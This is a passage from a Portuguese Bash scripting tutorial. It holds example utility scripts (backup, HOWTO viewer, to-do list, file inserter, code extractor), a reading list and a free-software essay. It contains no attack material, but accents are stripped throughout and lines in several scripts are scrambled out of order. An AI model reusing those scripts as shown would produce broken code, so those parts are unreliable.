# verificando se j existe um processo com o mpg123 MPGPID=`ps ax --format pid,comm | grep mpg123 | cut -c-6` [ $MPGPID ] && { dialog --backtitle "Selecionador de mp3z" \ --title "O mpg123 J EST SENDO USADO!" \ --yesno "Deseja finaliz-lo para ouvir a sua lista?" 0 0 RET_VAL=$? if [ $RET_VAL -eq 0 ]; then kill $MPGPID 2>/dev/null || { echo -e "${WHITE}No foi possvel finalizar o mpg123.$NCOR" echo "Pode ser que outro usurio esteja utilizando-o." ApagarSair 1 } else echo "Saindo..." ApagarSair fi } # o sleep pra garantir que o /dev/dsp estar desocupado sleep 1s cat $FILE | xargs mpg123 2> /dev/null & ApagarSair # EoF # <--> /* ----------------- */ * --radiolist "texto" alt larg alt-da-lista \ item1 "descricao do item1" status [ item2 "descricao do item2 status ] Similar ao --checklist porm aqui s se pode fazer uma escolha, quando voc seleciona um item desmarca outro. Faa os testes por sua conta.

Chega de moleza! Se quiser saber mais leia a man page do dialog! ;)

-------------------------------------------------------------------------

8. Coisas teis de se aprender *************************** No basta saber somente sobre o bash! Existem muitas outras coisas fora do bash que voc deve usar pra aumentar o poder dos seus scripts. O meu pblico-alvo so os fuadores e como tais eles no podem ter preguia de ler as manpages. Vai l cara... a manpage uma grande amiga! ;-) Aqui vai uma lista do que seria bom de voc aprender, o que est marcado com um asterisco quer dizer que muito til de aprender: + Linguagens: awk; *Expresses Regulares (ERs);

+ Comandos: *grep; *sed; *cut; tr; paste; sort; uniq; bc; *expr; *wc; eval (na manpage do bash); trap (idem); comm; join; netcat e lynx (ambos so muito teis se voc quer fazer scripts que usem o que a rede tem a nos oferecer. o netcat, vulgo nc, pode ser encontrado em <http://www.atstake.com/research/tools>). Cara... sabendo tudo isso, voc j ser um iniciado. A partir da o que manda a experincia, prtica, prtica e prtica. Muita prtica! Um dia eu ainda chego a esse nvel... Eu sei que est na lista ali em cima, mas vale salientar: ERs, grep e sed so REALMENTE MITO TEIS!!!

-------------------------------------------------------------------------

9. Exemplos Variados ***************** verdade que so poucos exemplos. Eu poderia ficar "enxendo lingia" metendo vrios exemplos aqui e dizer que escrevi quatro mil linhas de texto, mas acho que no seria uma boa... Se voc quer mais exemplos olhe as Referncias (principalemente no Adv-Bash-Scr-HOWTO), entre na lista de discusso... enfim: se vire!

9.1. backup.sh ========= /* ----------------- */ <++> BashScript/bacanas/backup.sh #!/bin/bash # OBS.: Por favor melhore este script! :-) # Se o nmero de parmetros for menor que 2... [ $# -lt 2 ] && { echo "Uso: `basename $0` destino origem [origem2 origem3...]" exit 1 # ... sai do script } echo "--> Fazendo backup" FILE="${1}_$(/bin/date +%d-%m-%Y).tgz" shift # Aqui est o "segredo": o shift acima executado para que eu possa # usar "$*" no if abaixo. if tar czf $FILE $* ; then echo "--> Backup feito com sucesso" else echo "--> OCORREU UM ERRO <--" 1>&2 exit 1 fi <--> /* ----------------- */

9.2. howto.sh ======== /* ----------------- */ <++> BashScript/bacanas/howto.sh #!/bin/bash # # ********************************************* # * Script para visualizar HOWTOs rapidamente * # ********************************************* # http://meleu.da.ru # meleu <meleu@meleu.cjb.net> # # Inspirado em um outro script que vi no Tips-HOWTO. # O script do Tips-HOWTO era muito simples, fiz algumas # modificaes que so interessantes para ns que falamos # portugus e de vez em quando temos uns HOWTOs traduzidos, # e ainda fiz um "suporte" aos mini-HOWTOs. ;-) # E mais: se voc no lembra direito do nome do HOWTO, pode # passar apenas a(s) primeira(s) letra(s) e/ou usar os curingas # ('*', '?' e '[]'), mas aconselha-se, neste ltimo caso, o uso de # aspas ("quoting") para evitar que seja passado como parmetro(s) # o contedo do diretrio atual. Caso ele encontre mais de um # arquivo para a expresso voc poder escolher atravs da tela que # aparecer. # Exemplos: # [prompt]$ howto Net # [prompt]$ howto "*[Bb]ash" # [prompt]$ howto "*Prog" # # Se voc ainda no tem e no sabe onde pegar HOWTOs traduzidos # procure em http://ldp-br.conectiva.com.br # # Pr-requisitos para o script funcionar direitinho (ou seja, sem # precisar de alteraes): # + os HOWTOs devem estar em "/usr/doc/Linux-HOWTOs"; # + os HOWTOs em portugus devem estar em "/usr/doc/Linux-HOWTOs.pt"; # + os mini-HOWTOs devem estar em "/usr/doc/Linux-mini-HOWTOs"; # + todos os [mini-]HOWTOs[.pt] devem estar gzipados, se os seus no # esto assim basta entrar no diretrio dos HOWTOs e digitar # "gzip *". # # # Se voc testou o script, ele funcionou direitinho e voc gostou, # ento digite "cp howto.sh /usr/local/bin/howto" para que todos do # seu sistema possam utiliz-lo. ;-) # # Aproveite! # Estes so os diretrios onde so instalados os [mini-]HOWTOs no # Slackware. Se a sua distribuio usa um diretrio diferente # mude a(s) varivel(is) a seguir. HTDIR=/usr/doc/Linux-HOWTOs miniHTDIR=/usr/doc/Linux-mini-HOWTOs PTHTDIR=/usr/doc/Linux-HOWTOs.pt # este onde eu coloco os traduzidos

# Variveis que indicam as cores (pra no precisar ficar # digitando os cdigos ANSI toda hora) BLUE="\e[1;34m" RED="\e[1;31m" NCOLOR="\e[m" function Ler { zless $1 echo -e "${RED}\nTchau!\n$NCOLOR" exit } # Funo que mostra a lista dos HOWTOs e sai do script. function Lista { ls -C $HTDIR | less echo -e " ${BLUE}Uso:$NCOLOR `basename $0` [-p | -m] nome-do-HOWTO Faa '`basename $0` -h' para ver a descrio das opes." exit 1 } # se no for passado nenhum parmetro ele mostra a lista [ -z "$1" ] && Lista # -------------------# - TESTA PARMETROS # -------------------case $1 in # - mensagem de ajuda # ---------------------h) echo -e " ${RED}--[ Lista de opes ]--$NCOLOR -p \t HOWTOs em portugus -m \t mini-HOWTOs -h \t imprime esta mensagem " exit # depois da mensagem de ajuda, sair ;; # - HOWTOs em portugus # -----------------------p) HTDIR=$PTHTDIR [ -z "$2" ] && Lista shift # Lembra do 'shift'? Aqui ele faz com que o primeiro # parmetro deixe de ser '-p' para ser o nome-do-HOWTO ;; # - mini-HOWTOs # ---------------m) HTDIR=$miniHTDIR [ -z "$2" ] && Lista shift # mesma funo do shift no '-p' ;; esac # Ao fim deste case $1 tem necessariamente o nome ou a(s)

# primeira(s) letra(s) do nome do HOWTO a ser procurado. cd $HTDIR FILE=`ls $1*.gz 2>/dev/null` [ `echo $FILE | wc -w` -gt 1 ] && { PS3="Entre com o nmero: " select opc in $FILE Sair ; do [ "$opc" = "Sair" ] && exit for HOWTO in $FILE ; do [ "$opc" = "$HOWTO" ] && Ler $HOWTO done done } [ -e "$FILE" ] && Ler $FILE # Isto s ser executado se no for encontrado o HOWTO echo -e "${RED}* * * HOWTO no encontrado * * *$NCOLOR" echo "Tente '`basename $0` [-p | -m]' para ver a lista" exit 1 # - = < E O F > = <--> /* ----------------- */

9.3. todo.sh ======= /* ----------------- */ <++> BashScript/bacanas/todo.sh #!/bin/bash PROG=`basename $0` EDITOR=`which vi` FILE="$HOME/.ToDo" USAGE="Uso: $PROG [-h|-e]" case $1 in -h) echo " $USAGE -e -h edita a lista de \"Para Fazer\" (To Do) imprime esta mensagem e sai

Sem parmetros $PROG ir mostrar a lista de \"To-Do\". " exit ;; -e) $EDITOR $FILE exit ;; '') cat $FILE 2> /dev/null || { echo "Voc precisa criar o arquivo $HOME/.ToDo !"

echo "Entre \"$PROG -e\" para editar seu ~/.ToDo" echo "Para ajuda tente \"$PROG -h\"" exit 1 } ;; *) echo echo echo exit "Parmetro \"$1\" desconhecido!" "$USAGE" "Entre com \"$PROG -h\" para ajuda." ;;

esac <--> /* ----------------- */

9.4. inseretxt.sh ========= /* ----------------- */ <++> BashScript/bacanas/inseretxt.sh #!/bin/bash # # Muitas vezes durante a escrita do texto # "Programao em Bourne-Again Shell" eu precisava # inserir um cdigo de um script numa determinada # posio do arquivo e esta posio ficava entre # muito texto antes e depois dessa linha. # Para fazer isso de uma maneira mais cmoda, eu # escrevi este script. # # Para informaes sobre o uso tente o parmetro '-h' ou # '--help'. # Se voc passar como o parmetro "linha" um nmero maior # que o de linhas total do "ArqOriginal" os "arquivosN" # sero inseridos no final do "ArqOriginal". # # Ah! Lembre-se de uma coisa: "linha" precisa ser um # inteiro positivo. E lembre-se de mais uma coisa: 0 # no um nmero positivo. ;-) # # meleu. # B="\e[1m" N="\e[m" USO="Uso: `basename $0` linha ArqOriginal arquivo1 [arquivoN ...]" AJUDA="Tente \"`basename $0` --help\" para ajuda" [ "$1" = '-h' -o "$1" = '--help' ] && { echo -e " ${B}Insere o contedo de arquivo(s) dentro de um outro.$N $USO Onde: \"linha\" a linha onde o texto ser inserido \"ArqOriginal\" o arquivo que receber os textos \"arquivoN\" so os arquivos que sero inseridos em ArqOriginal

" exit } [ $# -lt echo echo echo exit } 3 ] && { -e ${B}Erro: erro na passagem de parmetros$N $USO $AJUDA -1

Linha=$1 # verificando se $Linha um nmero inteiro positivo [ `expr $Linha - 1 2>/dev/null` -ge 0 ] 2>/dev/null || { echo -e ${B}Erro: O primeiro parmetro precisa ser inteiro positivo$N echo $AJUDA exit 1 } ArqOriginal=$2 [ -f $ArqOriginal ] || { echo -e ${B}Erro: \"$ArqOriginal\" no existe ou no um arquivo regular$N echo $AJUDA exit 2 } function ApagarSair { rm "$1" exit $2 } shift 2 Temp=/tmp/`basename $ArqOriginal`-$$.tmp # --> incio do arquivo original: head -$[$Linha-1] $ArqOriginal > $Temp # --> arquivos que sero inseridos: ContaAcerto=0 for Arq in "$@"; do [ -f "$Arq" ] || { echo -e ${B}OBS.: \"$Arq\" no existe ou no um arquivo regular$N continue } cat $Arq >> $Temp (( ContaAcerto++ )) done [ $ContaAcerto -eq 0 ] && { echo -e ${B}Nenhum arquivo foi inserido em \"$ArqOriginal\"$N ApagarSair $Temp 3 } echo # --> pra terminar, final do arquivo original: sed -n "$Linha,\$p" $ArqOriginal >> $Temp ArqFinal="$ArqOriginal.new"

[ -e $ArqFinal ] && { echo -e ${B}J existe um arquivo chamado \"$ArqFinal\".$N read -n 1 -p "Deseja sobregrav-lo? (s/N) " SN echo [ "$SN" != 'S' -a "$SN" != 's' ] && { echo -e "$B\nOperao cancelada!$N" ApagarSair $Temp 3 } } cat $Temp > $ArqFinal echo -e " ${B}Operao concluda com sucesso.$N Confira em \"$ArqFinal\" " ApagarSair $Temp <--> /* ----------------- */

9.5. Mextract.sh =========== /* ----------------- */ <++> BashScript/bacanas/Mextract.sh #!/bin/sh # # **************************** # * Meleu Extraction Utility * # **************************** # http://meleu.da.ru # # Este script baseado no Phrack Extraction Utility, (mais informaes # <http://www.phrack.org>). Fiz ele, primeiro para praticar, segundo para # servir como mais um exemplo no texto "Programao em Bourne-Again Shell", # e ltimo para extrao dos cdigos do texto. =P # ############# Se j existirem arquivos com o nome dos que sero extrados # !CUIDADO! # eles sero sobregravados! Portanto, se voc extrair uma vez, ############# alterar o(s) cdigo(s) extrado(s) e extrair novamente, # perder as alteraes feitas! # # # A seguir eu vou comentar sobre o cdigo fazendo referncia aos tpicos # do texto "Programao em Bourne-Again Shell". # # # + A funo do IFS explicada no tpico "2.2. Variveis do Shell", # neste script eu usei o IFS com valor nulo (vazio) para que os comandos # considerem espaos que vm antes de qualquer caractere como parte do # dado. Se voc fizer por exemplo "read var" e antes de entrar qualquer # coisa colocar espaos e/ou TAB, voc ver que eles sero desconsiderados # se o IFS tiver seu valor default (espao, TAB, newline); # # + A opo -r no read (explicada em 3.2. read) serve para ignorar o # poder que a contra-barra (backslash) tem de "escapar" os caracteres. Em

# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #

outras palavras: a opo -r garante que quando o read receber uma contra-barra ela ser passada para a varivel sem nenhum valor especial; + O cat enviando os dados para o read do while explicado em "5.5. Redirecionando loops" sob o ttulo de "pipeando para o while"; + o set usado para fazer com que cada palavra (palavra aqui tem um sentido de conjunto de caracteres separados por aqueles definidos no IFS) vire um parmetro posicional, conforme explicado em "2.4.2. set (para editar parmetros posicionais)". A opo -- quer dizer "acabaram as opes, o que vier a partir daqui so os valores dos parmetros de posio", esta opo serve para prevenir que alguma informao que comece com o caractere - seja considerado uma opo sendo passada para o set; + No tpico "2.5. Substituio de Variveis" voc ver a explicao de se usar "FILE=${FILE:-.}/$1"; + Bom... acho que isso. Leia o cdigo, execute-o, faa testes, mude o cdigo, execute-o novamente, veja o que mudou nos resultados, leia as manpages em caso de dvidas... Enfim, use o mtodo hacker de aprender a programar! ;-) Espero que curta! meleu <meleu@meleu.cjb.net> P.S.: Quer um "dever de casa"? Altere o cdigo para que ele verifique se j existe arquivos com o mesmo nome dos que esto prestes a serem extrados. Se existir, alertar o usurio sobre isso. Tente tambm fazer meios de deteco dos possveis erros que possam ocorrer... Ah, sei l! Brinque com o cdigo um pouco! =)

B="\e[1m" N="\e[m" [ $# -lt echo echo exit } 1 ] && { -e "${B}Erro: falta parmetros$N" "Uso: `basename $0` arquivo1 [arquivoN]" 1

[ -w . ] || { echo -e "${B}Erro: voc no tem permisso de escrita neste diretrio$N" exit 1 } OldIFS="$IFS" IFS= cat $@ | while read -r LINHA ; do IFS="$OldIFS" set -- $LINHA case "$1" in '<++>') TempIFS="$IFS"

IFS=/ set -- $2 IFS="$TempIFS" while [ $# -gt 1 ]; do FILE=${FILE:-.}/$1 [ -d $FILE ] || mkdir $FILE shift done FILE="${FILE:-.}/$1" if echo -n 2>/dev/null > $FILE ; then echo "* Extraindo $FILE" else echo -e "$B--> houve um erro ao tentar extrair '$FILE'" echo -e " este arquivo ser ignorado.$N" unset FILE fi ;; '<-->') unset FILE ;; *) [ "$FILE" ] && { IFS= echo "$LINHA" >> $FILE } ;; esac done echo "--> Fim <--" <--> /* ----------------- */

-------------------------------------------------------------------------

10. Referncias *********** Guia focalinux --> Na endereo a seguir voc encontrar timos guias sobre o GNU/Linux, divididos em nveis (iniciante, intermedirio e avanado). Muito bom pra quem est comeando neste sistema. http://www.focalinux.org Bash-Prog-Intro-HOWTO ---> Bem prtico e objetivo, bom pra comear (foi com ele que eu comecei). Bash-Prompt-HOWTO ---> Texto bacana que ensina a fazer coisinhas bonitas com o prompt, ensina tambm a usar cores no console atravs de cdigos de escape ANSI. Adv-Bash-Scr-HOWTO ---> Este j mais avanado. Se voc quer realmente se aprofundar no assunto este o texto que deve

ler! Muitos cdigos para se ler e aprender! Todos estes trs HOWTOs podem ser encontrados em http://www.linuxdoc.org ou se preferir /usr/doc/Linux-HOWTOs Programao de Shell Scripts --> um texto introdutrio feito pelo Nibble. Pode ser encontrado em http://unsekurity.virtualave.net/txts/shscript.txt UNIX Bourne Shell Programming --> meio antiguinho (1991). mas mesmo assim me foi til. Veja em http://www.torget.se/users/d/Devlin/shell Bash FAQ --> dispensa descries. ftp://ftp.cwru.edu/pub/bash/FAQ Bash Reference Manual --> documentao oficial da GNU http://www.gnu.org/manual/bash-2.02/bashref.html Bourne-Again SHell Home Page --> Pgina oficial do Bourne-Again Shell em: http://cnswww.cns.cwru.edu/~chet/bash/bashtop.html sh.underlinux.com.br --> Contm alguns materiais legais e scripts de exemplos, muito til! http://sh.underlinux.com.br Expresses Regulares --> Um guia sobre expresses regulares (sim! em portugus!). Leitura obrigatria! (esse aurlio demais mesmo!) =) http://guia-er.sourceforge.net sed-HOWTO --> Um timo texto ensinando sobre o sed! Outra leitura obrigatria! (e outro produto fabricado sob a chancela do aurlio! esse cara deve estar com o saco esticadinho de tanto que eu puxo... =D ) http://verde666/sed Lista de discusso sobre ShellScript --> Precisa falar algo? :P http://br.groups.yahoo.com/group/shell-script Programao em Shell Script --> um texto feito pelo xf. Tem algumas coisas interessantes. http://www.jonathas.com.br/manual-shell.txt Teach Yourself Shell Programming in 24 Hours --> Apesar do ttulo presunoso, o livro bonzinho. O comeo meio chato, mas depois tem algumas coisas teis. Verso online em http://library.cs.tuiasi.ro/0/linux-unix-programming.html UNIX Power Tools -> Livro muito bom com vrias matrias sobre UNIX em geral. Tem um captulo sobre shell scripting. http://docs.online.bg/OS/unix_power_tools/index.htm Linux: Programao Shell -> Um livrinho interessante que ensina umas coisas legais sobre shellscript. Eu encontrei alguns dados errados e/ou incoerentes no livro, mas isso acontece... Deve haver muitos casos parecidos neste meu texto aqui... =P O ponto forte do livro o Apndice sobre o awk, assunto que, diga-se de passagem,

muito difcil de encontrar em portugus. Espero que o autor do livro no me odeie pelo que eu vou falar agora (s estou sendo sincero): no vale a pena comprar o livro se voc tem acesso a internet! Na net, e at mesmo nas manpages, voc pode aprender as mesmas coisas e muito mais. S compre o livro se tiver preguia de fuar essa rede maravilhosa que ns temos. No pra boicotar o livro! Meta a cara numas bibliotecas e pegue-o pra consultar! (de preferncia sem gastar dinheiro...) [a Julio, por favor no me odeie! ;-) ] Editora: Brasport http://www.brasport.com.br Autor: Julio Cezar Neves ISBN: 85-7452-076-4 Verdade Absoluta --> Voc poder encontrar um material diversificado sobre UNIX, pode encontrar por exemplo um material introdutrio awk. http://www.absoluta.org Phrack Extraction Utility --> O utilitrio para extrao dos cdigos-fonte contidos neste texto pode ser encontrado na ltima verso da Phrack em http://www.phrack.org (acho que o Meleu Extraction Utility pode perfeitamente suprir suas necessidades, mas bom lembrar que os crditos so da Phrack) www.lockabit.coppe.ufrj.br -,-> D uma olhada aqui se quiser saber sobre www.pulltheplug.com --------| wargames. www.hackerslab.org ---------' Voc ainda pode aprender muito lendo outros cdigos prontos! Veja alguns em: http://www.inf.ufpr.br/~asr98/linux/scripts_prog.html http://sh.underlinux.com.br/src/index.htm http://verde666.org http://meleu.da.ru Outros endereos interessantes: ~~~~~~ ~~~~~~~~~ ~~~~~~~~~~~~~ http://unsekurity.virtualave.net http://eoh-team.tk

-------------------------------------------------------------------------

11. Consideraes Finais ******************** OBS.: Nesta seo no tem nada sobre shell script. apenas uma conversa...

UFA!! Deve fazer aproximadamente um ano que eu comecei a escrever este texto! isso mesmo! E a cheguei naquela fase de nossa vida onde pagamos por nossos pecados: vestibular. Cheguei a pensar que nunca ia terminar este texto, ficava estudando pro vest o tempo todo no tinha tempo pra ficar no computador. No adiantou muita coisa, eu no passei... Deve ser porque eu pequei demais e tenho que ficar mais um ano pagando por isso... Bom, chega de ficar me lamentando! Vou parar de lamentar e ficar mais um ano estudando... Sabe de uma coisa?... As vezes conversando com outras pessoas sobre o movimento FreeSoftware algumas acham que maluquice, que a gente otrio de ficar trabalhando de graa, sem ganhar nada. Deixa eu contar uma coisa... Eu estou aqui, num computador com uma configurao de hardware razovel e que daqui a alguns meses j ser considerada por muitos como "imprestvel". Mas veja bem: "considerada por muitos". Pra mim essa mquina ainda vai durar alguns anos com esta mesma configurao. E sabe por qu? Software Livre meu caro, Software Livre... J parou pra ver como que os FreeSoftwares rodam bem em mquinas que no so das mais "turbinadas"? Por que ser que os softwares da Micro$oft precisam de hardware cada vez mais potentes? Um programador que trabalha na Micro$oft no deve ser nenhum Jos Man, ser que ele no tem capacidade de escrever um software levinho? Ser que essas megaempresas de software no tm algum esquema com megaempresas de hardware? Estes softwares so pesados porque necessitam ser assim ou isso de propsito? Ficam essas perguntas no ar... Mas voltando ao FreeSoftware. Minha modesta maquininha aqui vai durar anos porque eu uso FreeSoftware e esse tipo de software no precisa ser pesado, no precisa ter interfaces que encham nossos olhos com tanta beleza, no precisa de marketing, no precisa derrubar o concorrente. A nica coisa que o FreeSoftware precisa fazer aquilo que ele se presta a fazer. Sem firulas ou outras gracinhas. Mas por que diabos uma pessoa faz FreeSoftware? Vou responder de uma maneira que pessoas de qualquer idade e qualquer regio do Brasil entendenda: Porque programar legal! arretado de bo! maneiro! bacana! massa! bom pra chuchu! uma brasa, mora? Algumas pessoas amam programar. E tambm amam quando algum gosta de seus programas, amam mais ainda quando muitas pessoas usam e gostam de seus programas. E se o cara pegou um programa e gostou muito dele, mas acha que est faltando aquela funcionalidade. Ele pode pegar o cdigo-fonte e implementar a funcionalidade desejada por si prprio. Pois FreeSoftware tem que ter cdigo-fonte. Outra coisa interessante que voc no precisa pagar pelo FreeSoftware! Isso mesmo! No precisa pagar pelo software!! Voc estuda numa escola que tem um laboratrio de informtica? J parou pra pensar em quanto dinheiro foi gasto para pagar a licena de todas aquelas mquinas rodando Micro$oft Windows, Micro$oft Office, etc. Imagine se todas aquelas mquinas usassem Software Livre. UAU!! Quanto dinheiro economizado!!! Agora vamos mais longe... Imagine os departamentos pblicos, tente mentalizar quantos computadores existem nestes departamentos. Muitos, n? Agora pense no dinheiro gasto com as licenas. Muito tambm... Agora uma coisa que voc pode no ter pensado que esse dinheiro P-BLI-CO! seu dinheiro! nosso dinheiro! Se o governo usasse Software Livre, no gastaria rios de dinheiro com licenas de softwares proprietrios. E o dinheiro economizado poderia ser investido, por exemplo, no setor de educao bsica. Dando mais valor aos professores, aqueles profissionais que formaro os profissionais de amanh... E se o governo investisse o que devia em educao no iria

precisar ficar inventando essa tal de cota pra gente que tem pele dessa ou daquela cor. As pessoas teriam acesso a educao e chances para aprender a ser um bom profissional. Algumas pessoas podem falar "Ai que gracinha, o meleu to sonhador." ou at mesmo "Putz! Coitado desse meleu. Quando ele precisar pagar suas contas ele vai mudar de idia.". Bom... por causa de "sonhadores" como eu que voc est lendo esse texto. por causa deles que voc usa a Internet. E por causa desses "malucos-que-trabalham-de-graa" que eu sei tudo que sei. Eu no tenho dinheiro pra gastar fazendo cursos, tudo que aprendi veio da Internet, com material preparado por estes "malucos". E aqui estou eu, mais um "maluco-que-trabalha-de-graa", disponibilizando material pra voc usar livremente, da maneira que achar melhor! Espero que voc tambm se torne uma dessas pessoas que acham que podem fazer algum trabalho de til para outras pessoas e no ficar apenas se preocupando em acumular riquezas. Mais informaes sobre FreeSoftware em http://www.gnu.org Como diriam "nuestros hermanos": Hasta luego.

-------------------------------------------------------------------------

You might also like